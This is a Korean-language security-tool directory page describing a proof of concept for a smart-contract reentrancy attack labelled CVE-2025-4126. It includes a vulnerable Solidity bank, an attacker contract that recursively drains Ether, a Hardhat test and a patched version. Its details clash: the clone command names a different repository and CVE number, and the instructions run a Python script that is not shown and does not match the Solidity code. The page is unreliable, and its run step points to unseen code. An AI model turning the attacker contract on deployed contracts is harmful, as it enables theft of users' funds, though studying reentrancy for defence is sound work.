Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4126 — 스마트 계약 재진입 공격 취약점 PoC | Kitploit
도구/GitHubGitHub/slow-mist/cve-2025-4126
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

스마트 계약 재진입 공격 취약점 PoC

저장소 보기
181년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

POC-CVE-2025-4126

스마트 계약 재진입 공격 취약점 검증

스마트 계약 재진입 공격 PoC

이 저장소는 이더리움 스마트 계약의 재진입 공격(reentrancy attack) 취약점을 시연하는 PoC(Proof of Concept)를 포함합니다. PoC에는 취약한 스마트 계약, 공격자 계약, 그리고 로컬 테스트 환경에서 공격을 재현하는 방법이 포함되어 있습니다.

목차

  • 개요
  • 취약점 설명
  • PoC 설정
  • PoC 실행
  • 라이선스

개요

재진입(Reentrancy)은 이더리움 스마트 계약에서 흔히 발생하는 취약점으로, 외부 계약이 첫 번째 호출이 완료되기 전에 원래 계약으로 반복 호출을 수행하여 자금을 탈취하거나 상태를 조작할 수 있습니다. 이 PoC는 공격자가 취약한 계약을 악용하여 Ether를 탈취하는 방법을 보여줍니다.

취약점 설명

취약한 계약(VulnerableBank)은 사용자가 Ether를 입금하고 출금할 수 있게 합니다. 그러나 외부 호출을 수행하기 전에 상태 업데이트를 제대로 처리하지 않아 재진입에 취약합니다. 공격자 계약(Attacker)은 withdraw 함수를 재귀적으로 호출하여 계약의 Ether 잔액을 탈취함으로써 이를 악용합니다.

주요 문제점

  • VulnerableBank의 withdraw 함수는 사용자의 잔액을 업데이트하기 전에 호출자에게 Ether를 보냅니다.
  • 이로 인해 공격자의 계약이 폴백(fallback) 함수에서 withdraw를 다시 호출하여 계약 자금을 탈취할 수 있습니다.

PoC 설정

이 PoC를 실행하려면 다음이 필요합니다:

  • python3.x
  • pip3

설치 및 실행

  1. 이 저장소를 클론합니다:
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. 실행:
    python3 poc.py
    

PoC 코드

이 PoC에서 사용되는 두 계약은 다음과 같습니다:

VulnerableBank.sol

이 계약은 입금과 출금을 허용하는 간단한 은행을 시뮬레이션하지만 재진입에 취약합니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

이 계약은 withdraw 함수를 재귀적으로 호출하여 재진입 취약점을 악용합니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Hardhat 테스트 스크립트

공격 시뮬레이션을 자동화하기 위한 Hardhat 테스트 스크립트가 포함되어 있습니다.

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

예상 출력

  • 초기 은행 잔액: 10 ETH
  • 최종 은행 잔액: 0 ETH
  • 공격자 잔액: ~10 ETH (가스 수수료 제외)

완화 방법

재진입 공격을 방지하려면 다음 모범 사례를 고려하세요:

  1. Checks-Effects-Interactions 패턴: 외부 호출 전에 상태(예: 잔액)를 업데이트하세요.
  2. 재진입 가드(Reentrancy Guard): 재귀 호출을 방지하기 위해 수정자(예: OpenZeppelin의 ReentrancyGuard)를 사용하세요.
  3. 가스 제한: 복잡한 재진입 로직을 방지하기 위해 외부 호출에 전달되는 가스를 제한하세요.
  4. transfer 또는 send 사용: 이 메서드들은 가스를 제한하여 재진입 위험을 줄입니다.

VulnerableBank.sol 수정 예시

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

라이선스

이 프로젝트는 MIT 라이선스 하에 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드